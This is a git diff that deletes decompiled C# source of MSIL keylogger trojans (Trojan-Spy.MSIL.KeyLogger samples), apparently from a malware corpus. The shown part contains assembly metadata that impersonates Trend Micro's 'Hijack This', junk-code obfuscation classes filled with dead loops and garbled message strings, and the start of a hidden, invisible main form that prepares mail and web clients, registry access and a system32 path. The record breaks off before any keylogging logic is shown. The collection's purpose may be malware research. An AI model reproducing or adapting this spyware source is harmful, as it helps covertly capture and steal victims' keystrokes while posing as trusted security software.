C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace ctfmon.My -{ - internal class Token20000A9 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2} b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2} deleted file mode 100644 index 016cc5dc79b680e51b2c691bf921c4b24dc9c2bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1276 zcmV;*-O&juKSoxy0y@*;} zq_Wr$QcW#mhbN(ODx7BNB=Cb7JJ$OEsFe;^0x;tjg*R0fC7KNwpvpC-9-!8ZE2w$Nv5=v&OKhS5W`+E>G

;$i!0~k=%qJLexrY4G>9J{b&f@D2;=fIpM1LBY+p>ewtp7N%4*3 zo^VQYKk5zoD!4Kn*C(lYWd?A(Wp55iY!LRA14X(2u}o{+qDbARcBz|ZpuIFfMk0Zc ziwLa3(W97+i96{7S|El$AYK?kN|o`Ya7`c3k=%Ir<0XhrIh>e4V zy7IGul}u{n)Qu;3#eh{+F}Igi>BrvG0HDO2hf2Ug>c~Nl*_nonaSUpn0LX!1EJLRc z=muxwBo9bf0hdWza6@!?SyoW4$C;%W1gqcvP?JS1c%pa)iz0P$ru{ALf`@-rm&=y> z{|XJI-pyC8`q1XaKD(gCiDaAHNyAh}wJ=4bNe1#aB`#MW*C;Uv#Gtsy{z30^7yd?e zMSCG*{2hzO?KhhSgvx(i3dc;>D>mF|8BZhW1HD#_$rFtF7q!>+p&tpKW54T=4R1EG z-rk!;u$UJ+LZ8Uto{_mxnuDKz9EjWI8BwZQCy!SG#+F4eG;fZWyDqK!b$sPorX&9j{*Cz;{IaNPuqczvMNHBq_FYG(@`vL8DBJ$nmOx%`m;Iz361>$}Yr2Zrx ztbdE0WpxReUs|?SV_DbSpn{R9D$~JQ?Fk4kw(C+~LP3(-E~Y}xFYKny0M-_}v2A25 z6U^P*ubuBHwjDm32J+4<316ZlY^PrclW$%IJ7YI+G9m#nIVgB=sZ%^r%^dsNSC!w& myv~IKJ+sW#uYPsP%gjIUeL9=L_F*1VQ!V(;(d<(ss9Q_EhJ=&= diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/AssemblyInfo.cs deleted file mode 100644 index 17d2a1be..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: Guid("b98c13b5-4722-42c4-b712-06179442f988")] -[assembly: AssemblyCopyright("© 2007 Trend Micro Inc")] -[assembly: AssemblyProduct("Hijack This")] -[assembly: AssemblyCompany("Trend Micro Inc")] -[assembly: AssemblyDescription("Hijack This")] -[assembly: AssemblyTitle("Hijack This")] -[assembly: ComVisible(false)] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyFileVersion("2.00.00.2")] -[assembly: AssemblyVersion("2.0.0.2")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/CIpn15qGVW59Oep.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/CIpn15qGVW59Oep.cs deleted file mode 100644 index 2476696f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/CIpn15qGVW59Oep.cs +++ /dev/null @@ -1,255 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.CIpn15qGVW59Oep -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace Q -{ - [StandardModule] - internal sealed class CIpn15qGVW59Oep - { - public static void b0rLlU8N5C() - { - double num1 = 2979961.0; - double num2 = 9684.0; - while (false) - { - if (true) - ; - int num3 = 98126; - do - { - checked { ++num3; } - } - while (num3 <= 29105204); - while (false) - { - while (false) - { - num2 = 1.0; - int num4 = 9907358; - while (num4 <= 931) - checked { ++num4; } - while (false) - { - if (true) - { - int num5 = (int) MessageBox.Show("QgLa‚\u008D9Mgu`’W‚MM!8Chs/"); - while (false) - { - int num6 = (int) MessageBox.Show("Rb6.WyN-S‡C4qn($U]I@RpWQqfm]$\u0090i.‡f$@7>\\R‡Z?:jnpXG0\u008DS=KŒt*wO„+„)V>4@*i{€6 ŠL‹P=y#‰"); - while (false) - { - int num7 = (int) MessageBox.Show("@@K2’.|qo\u0081lz‡1Dz{p%}Cj0eKNP5n\u008F\\Rbf\u008FV551Š4:J(…sfg#d2Qyf4[\u0090EŠ{q(!#VŒe€\u007F%y5Pjqp5‡sŒ&%‹J\u007F15\\)TX‚=I8+8Gd‹-x"); - } - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num2 = 3.0; - num2 = 173581123.0; - int num10 = (int) MessageBox.Show("?Sk!C{vvsEk†pX#tG[6V<‹‡Q(\u008F5Eˆ>*o'‹ldUƒ^E‹FKCL… ESv.@\u008FM(NJnz] ugf|\u008F{nŠsfqŠ^‹`d$5\u008F‚…2/|l+]c5+5w{‹cvpc‰7j[\\b+PU"); - int num11 = 3; - do - { - num2 = 0.0; - checked { ++num11; } - } - while (num11 <= 512945); - if (false) - ; - if (false) - ; - int num12 = (int) MessageBox.Show("Iy-gA€\u007FC l‹\u0090N%b2.kt&{Z+sH‘<73^y#\u007FjVezi@JGr]!\u0090le9c9bP:p5 JEh]!yu‡@z‡LGp>*W5vKX0om0(;p‘Cq…ta\u008D"); - while (true) - { - while (false) - { - while (true) - { - int num3 = (int) MessageBox.Show("O1W,‘xE8‰f*P‚&m`]4rƒm\u0081gN4Z3?†Žl\\x|dŠ_~Ks=~a8ŠM1Mx~=}…^tB‚p|=1Œ#jQ†*=Pu!r{‘f\u0081?NWzIxZ'p\u0081i"); - num1 = 1; - } - if (true) - ; - } - int num4 = 402037799; - while (num4 <= 3844) - { - int num5 = 9; - do - { - checked { ++num5; } - } - while (num5 <= 15125507); - int num6 = 401623607; - while (num6 <= 60895306) - { - while (false) - { - int num7 = 3250; - do - { - int num8 = 783429; - do - { - checked { ++num8; } - } - while (num8 <= 921605); - num1 = 22606659; -label_22: - if (true) - { - while (true) - ; - while (false) - ; - goto label_22; - } - else - { - int num9 = (int) Interaction.MsgBox((object) ")i?iu\u008D‘mok`H^!V€‹\u008F[h~YL7GI‚[’&aw‘‹>#m9^i5N][BŠ:fw[‹@ƒt$c=(AK+Unh*|JfuS2rP„ROŽ„ˆP/;wV.@†<†myeŠ2^rs‡PY`gƒDI8‚’BggK2„<‚q7Z|‰-r'l_{>Ero&SO‚[JR-ˆP‡\u008D?&MR%ˆo \\MfbRˆ{k|Pdlb‹`‹vuW?"); - checked { ++num7; } - } - } - while (num7 <= 781226); - if (true) - { - int num10 = (int) Interaction.MsgBox((object) "AC3sR"); - } - } - checked { ++num6; } - } - int num11 = (int) Interaction.MsgBox((object) "1zNh~c6YacIwP&BŒ'e…%%YlS\u0090-)"); - checked { ++num4; } - } - if (true) - { - int num12 = (int) Interaction.MsgBox((object) "yrDTE47v"); - } - } - if (true) - { - int num13 = (int) Interaction.MsgBox((object) "Z5TPUl6KoB5"); - } - } - if (false) - { - int num14 = (int) Interaction.MsgBox((object) "H5mI2JaW2tQD"); - } - } - - public static void fT3GEKTX4tZNFHlHdcz57139zBi7U() - { - while (true) - { - int num1 = 1; - do - { - while (true) - { - int num2 = (int) MessageBox.Show(">7w(YfnyJWG.GD*}Š;\u008Ds,o9D:„’uk5R*’N;0RjWX_A’'P*x>nwFlp2[^v?un$G\u007F1nŽ ‡Is03xN4j-wpe*Ff`uI…VP[‰jWkƒ}uZp3„‡"); - } - int num = (int) Interaction.MsgBox((object) "zA!bSEM\\1+#E$]e.P‹Z|Yn,^I‡e'\\t5$†xTGB#+.MXKh^ys‘+%S\u008Fz‰Aeˆ$*PzUhI€@1<'=~M\u007FKO BW’c4gŽV@9<\u008FW\u0081Q=‹nGŠƒ{=hV‰€:&/NZ@BQ$Y<3Y1)f#4x8\u007F`T1$W0@ou\u008Dpp.<:*€T6_ 8"); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/EOrLbYk14XPeC2oE2E0s9Ekcpf.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/EOrLbYk14XPeC2oE2E0s9Ekcpf.cs deleted file mode 100644 index c5d8334c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/EOrLbYk14XPeC2oE2E0s9Ekcpf.cs +++ /dev/null @@ -1,274 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.EOrLbYk14XPeC2oE2E0s9Ekcpf -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - internal class EOrLbYk14XPeC2oE2E0s9Ekcpf - { - [DebuggerNonUserCode] - public EOrLbYk14XPeC2oE2E0s9Ekcpf() - { - } - - public object wxM899DUw4El8809() - { - int num1 = 255648017; - while (num1 <= 87256) - checked { ++num1; } - string str = "?dk…`gmX|\u008D_Ž’*†GŽ$!vIDia&s’pXP`k9"; - if (true) - { - while (false) - ; - } - if (false) - ; - double num2 = 3228.0; - int num3 = (int) MessageBox.Show("#T-2XImb„-U\u008FI6fC ‰\u0090gDZ‚y>00m‚dZ]j%Y7(TFŽ:‚yMW7c`.2b_|ŽX\\eG†H9 r@f‹ECoO;^bOTsUA'`b^p!\u008Dtn`\u008Fet`‘u9/Yy^…?ƒrŠ#\u0090za#|/%\u007FziU@l6ivs|Z‘c@4D:nu4@r~y‘\u0090\u008D-\\3Uns6+w-:-H<\\/ˆO%MY"); - long num4 = 47715; - double num5 = 9.0; - int num6 = 39033949; - do - { - checked { ++num6; } - } - while (num6 <= 76331139); - bool flag = false; - int num7 = 62978899; - while (num7 <= 6869) - { - while (true) - { - while (true) - { - num4 = 6901L; - num5 = 299410.0; - int num8 = (int) MessageBox.Show("n\u0081!~rdw=ƒE&’J\u0090VBxy|;sr,7Pi&'y2C5@Ž€€o@&‹;€.?NgA\u008FHw/}#i\\\\]y5?~2\u008D^=c]B0hfWr„ …c\u007F||H)q%Y2jRCCˆ*z-(…c~)‘\u007Fs1k*1hiŒp\u0090K‰"); - Decimal num4 = 0M; - if (false) - ; - if (true) - ; - if (false) - { - num4 = 9908932M; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - while (true) - { - num1 = 89130L; - while (true) - ; - } - num1 = 28L; - ProjectData.ClearProjectError(); - } - num4 = 365140M; - num2 = 544941; - num2 = 636580348; - if (true) - ; - while (true) - { - while (true) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num4 = 849555314M; - while (true) - { - num4 = 1M; - num2 = 7921968; - } - num2 = 7298362; - int num5 = (int) MessageBox.Show("L#Š<^OuJDŠSN„Œm1!fJg\u008D \u0081}L}€<|\u0090qEQ#LZ^zZJ‰ŽzW\u007Fˆ#†!\u00907WS\u0090mL4-ƒsaXaF8-\u008F\u0081_3e9, p‘8J\u0090Vy\u008D;\u007Fy:…TH EQ‰y{QMT>r‹5F€J‘KS?n4}0LŒgf|1<’\u007FEg&.(23"); - } - } - ProjectData.ClearProjectError(); - } - } - } - int num11 = (int) Interaction.MsgBox((object) "\u007FTv|P%]\u008D)!2iR‚\u008Dhpc`-b‰7v\u0090l*$|i;QH0/ˆ:^,VZX0w'1V@h„6Ž’/€ˆ= \u007Fw\u008DY1RysABr$N1V)f)ySo\u007F5}OŠS?R"); - } - if (true) - { - int num12 = (int) Interaction.MsgBox((object) "jas31p"); - } - return (object) 77; - } - - public object bj0Vk55V7314UBHjxByO() - { - if (true) - ; - int num1 = (int) MessageBox.Show("„#2;HqKjƒuohgwBc"); - while (false) - { - while (false) - { - while (false) - ; - int num2 = 574269176; - while (num2 <= 0) - checked { ++num2; } - while (true) - { - while (false) - { - while (true) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); -label_19: - if (false) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (false) - ; - goto label_19; - } - else - { - int num3 = (int) Interaction.MsgBox((object) "-‰UX‘n:Js&:C.3|}2[‚Q4^nGv\u008F\u0090†u~W?lCg1SoL126m>U)\u008FjbcM__&Fa;-tqFhˆbŽj~^kJV.q?\u0090ƒO…l’EC1PŠre\u0090%‰E\u008DJS~axoYR1+Š9Š"); - ProjectData.ClearProjectError(); - } - } - int num4 = (int) Interaction.MsgBox((object) "yHq~;'L#VWj<$\u0081Xt$[v=TO+sK:\u0081:KŠYY„~gG*)…G({*A$=NBe54NmcEŒf+‚€40j^\u00901J8:1jŽhN5lD}o.~^g6v+~@Xmt’:%3‹0^C……6(T^9y>Nlg|Os!i\\T{…E*r_Oksc;=[yY|<}8y]DŠ?\u008D"); - } - int num8 = (int) Interaction.MsgBox((object) "%}\u0081v0~0‰z(tPuE~Da;SpoRc’ˆaSKi7+zNB~G‰ Kmˆd’6ZLUSq H#Yqxf9‚€aJx?c\u0090ŒUZWM`‚y{+RMW\\+’li\u0081'Ao\\7-&3|B/D"); - return (object) 68504703; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Form1.cs deleted file mode 100644 index 83e8e4d5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Form1.cs +++ /dev/null @@ -1,5974 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.Form1 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using Q.My; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace Q -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("TextBox2")] - private TextBox _TextBox2; - [AccessedThroughProperty("TextBox3")] - private TextBox _TextBox3; - [AccessedThroughProperty("TextBox4")] - private TextBox _TextBox4; - [AccessedThroughProperty("TextBox5")] - private TextBox _TextBox5; - [AccessedThroughProperty("TextBox6")] - private TextBox _TextBox6; - [AccessedThroughProperty("TextBox7")] - private TextBox _TextBox7; - [AccessedThroughProperty("TextBox8")] - private TextBox _TextBox8; - [AccessedThroughProperty("TextBox10")] - private TextBox _TextBox10; - [AccessedThroughProperty("TextBox14")] - private TextBox _TextBox14; - [AccessedThroughProperty("lblnumb")] - private Label _lblnumb; - [AccessedThroughProperty("txtWin")] - private TextBox _txtWin; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer _Timer4; - [AccessedThroughProperty("Timer5")] - private System.Windows.Forms.Timer _Timer5; - [AccessedThroughProperty("Timer6")] - private System.Windows.Forms.Timer _Timer6; - private string[] options; - private string JIBSs35WaopIu; - private string e5rwWRVOI50hD; - private string IO8cmvqy3OpJ3; - private string vW3pppHCuH4St; - private string pUhRXUatRne3C; - private string rN42iE9tfQL8h; - private string weSoYXbJVcG2U; - private string dApQ2PG2FiZlx; - private string Tijmh8KnksCBf; - private string MJoTkb0SPSbMW; - private const string EPMGJ7KzOyy4p = "QMLBzAKqho2L1"; - private string JOtNtwtMGE0nj; - private string LVeqFIv6xI60M; - private WebClient PiE1E6IWQdQx3; - private string CoMtnBijZf0ja; - [AccessedThroughProperty("HKB")] - private Form1.kjdshfi23ur9fjsdfmiowuf9sods _HKB; - private string R2OZYRWT0Z1B4; - - [DebuggerNonUserCode] - static Form1() - { - } - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.Load += new EventHandler(this.frm_Load); - Form1.__ENCAddToList((object) this); - this.JOtNtwtMGE0nj = MyProject.Computer.Name + "--->>" + Conversions.ToString(DateAndTime.TimeOfDay); - this.PiE1E6IWQdQx3 = new WebClient(); - this.HKB = new Form1.kjdshfi23ur9fjsdfmiowuf9sods(); - this.R2OZYRWT0Z1B4 = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (Form1.__ENCList) - { - if (Form1.__ENCList.Count == Form1.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (Form1.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (Form1.__ENCList[index2].IsAlive) - { - if (index2 != index1) - Form1.__ENCList[index1] = Form1.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1)); - Form1.__ENCList.Capacity = Form1.__ENCList.Count; - } - Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.TextBox1 = new TextBox(); - this.TextBox2 = new TextBox(); - this.TextBox3 = new TextBox(); - this.TextBox4 = new TextBox(); - this.TextBox5 = new TextBox(); - this.TextBox6 = new TextBox(); - this.TextBox7 = new TextBox(); - this.TextBox8 = new TextBox(); - this.TextBox10 = new TextBox(); - this.TextBox14 = new TextBox(); - this.lblnumb = new Label(); - this.txtWin = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.Timer4 = new System.Windows.Forms.Timer(this.components); - this.Timer5 = new System.Windows.Forms.Timer(this.components); - this.Timer6 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - TextBox textBox1_1 = this.TextBox1; - Point point1 = new Point(73, 13); - Point point2 = point1; - textBox1_1.Location = point2; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - Size size1 = new Size(29, 20); - Size size2 = size1; - textBox1_2.Size = size2; - this.TextBox1.TabIndex = 0; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(73, 39); - Point point3 = point1; - textBox2_1.Location = point3; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(590, 20); - Size size3 = size1; - textBox2_2.Size = size3; - this.TextBox2.TabIndex = 1; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(73, 65); - Point point4 = point1; - textBox3_1.Location = point4; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(590, 20); - Size size4 = size1; - textBox3_2.Size = size4; - this.TextBox3.TabIndex = 2; - TextBox textBox4_1 = this.TextBox4; - point1 = new Point(73, 91); - Point point5 = point1; - textBox4_1.Location = point5; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - size1 = new Size(590, 20); - Size size5 = size1; - textBox4_2.Size = size5; - this.TextBox4.TabIndex = 3; - TextBox textBox5_1 = this.TextBox5; - point1 = new Point(73, 117); - Point point6 = point1; - textBox5_1.Location = point6; - this.TextBox5.Name = "TextBox5"; - TextBox textBox5_2 = this.TextBox5; - size1 = new Size(590, 20); - Size size6 = size1; - textBox5_2.Size = size6; - this.TextBox5.TabIndex = 4; - this.TextBox5.Text = ".gif"; - TextBox textBox6_1 = this.TextBox6; - point1 = new Point(73, 143); - Point point7 = point1; - textBox6_1.Location = point7; - this.TextBox6.Name = "TextBox6"; - TextBox textBox6_2 = this.TextBox6; - size1 = new Size(590, 20); - Size size7 = size1; - textBox6_2.Size = size7; - this.TextBox6.TabIndex = 5; - this.TextBox6.Text = "1"; - TextBox textBox7_1 = this.TextBox7; - point1 = new Point(73, 169); - Point point8 = point1; - textBox7_1.Location = point8; - this.TextBox7.Name = "TextBox7"; - TextBox textBox7_2 = this.TextBox7; - size1 = new Size(590, 20); - Size size8 = size1; - textBox7_2.Size = size8; - this.TextBox7.TabIndex = 6; - this.TextBox7.Text = "C:\\WINDOWS\\system32\\1025"; - TextBox textBox8_1 = this.TextBox8; - point1 = new Point(73, 195); - Point point9 = point1; - textBox8_1.Location = point9; - this.TextBox8.Name = "TextBox8"; - TextBox textBox8_2 = this.TextBox8; - size1 = new Size(590, 20); - Size size9 = size1; - textBox8_2.Size = size9; - this.TextBox8.TabIndex = 7; - TextBox textBox10_1 = this.TextBox10; - point1 = new Point(73, 221); - Point point10 = point1; - textBox10_1.Location = point10; - this.TextBox10.Name = "TextBox10"; - TextBox textBox10_2 = this.TextBox10; - size1 = new Size(590, 20); - Size size10 = size1; - textBox10_2.Size = size10; - this.TextBox10.TabIndex = 9; - TextBox textBox14_1 = this.TextBox14; - point1 = new Point(73, 247); - Point point11 = point1; - textBox14_1.Location = point11; - this.TextBox14.Name = "TextBox14"; - TextBox textBox14_2 = this.TextBox14; - size1 = new Size(590, 20); - Size size11 = size1; - textBox14_2.Size = size11; - this.TextBox14.TabIndex = 13; - this.lblnumb.AutoSize = true; - Label lblnumb1 = this.lblnumb; - point1 = new Point(670, 45); - Point point12 = point1; - lblnumb1.Location = point12; - this.lblnumb.Name = "lblnumb"; - Label lblnumb2 = this.lblnumb; - size1 = new Size(39, 13); - Size size12 = size1; - lblnumb2.Size = size12; - this.lblnumb.TabIndex = 14; - this.lblnumb.Text = "Label1"; - TextBox txtWin1 = this.txtWin; - point1 = new Point(73, 274); - Point point13 = point1; - txtWin1.Location = point13; - this.txtWin.Name = "txtWin"; - TextBox txtWin2 = this.txtWin; - size1 = new Size(590, 20); - Size size13 = size1; - txtWin2.Size = size13; - this.txtWin.TabIndex = 15; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 10); - this.ClientSize = size1; - this.Controls.Add((Control) this.txtWin); - this.Controls.Add((Control) this.lblnumb); - this.Controls.Add((Control) this.TextBox14); - this.Controls.Add((Control) this.TextBox10); - this.Controls.Add((Control) this.TextBox8); - this.Controls.Add((Control) this.TextBox7); - this.Controls.Add((Control) this.TextBox6); - this.Controls.Add((Control) this.TextBox5); - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.TextBox1); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this._TextBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this._TextBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; - } - - internal virtual TextBox TextBox4 - { - [DebuggerNonUserCode] get => this._TextBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value; - } - - internal virtual TextBox TextBox5 - { - [DebuggerNonUserCode] get => this._TextBox5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox5 = value; - } - - internal virtual TextBox TextBox6 - { - [DebuggerNonUserCode] get => this._TextBox6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox6 = value; - } - - internal virtual TextBox TextBox7 - { - [DebuggerNonUserCode] get => this._TextBox7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox7 = value; - } - - internal virtual TextBox TextBox8 - { - [DebuggerNonUserCode] get => this._TextBox8; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox8 = value; - } - - internal virtual TextBox TextBox10 - { - [DebuggerNonUserCode] get => this._TextBox10; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox10 = value; - } - - internal virtual TextBox TextBox14 - { - [DebuggerNonUserCode] get => this._TextBox14; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox14 = value; - } - - internal virtual Label lblnumb - { - [DebuggerNonUserCode] get => this._lblnumb; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._lblnumb = value; - } - - internal virtual TextBox txtWin - { - [DebuggerNonUserCode] get => this._txtWin; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._txtWin = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new 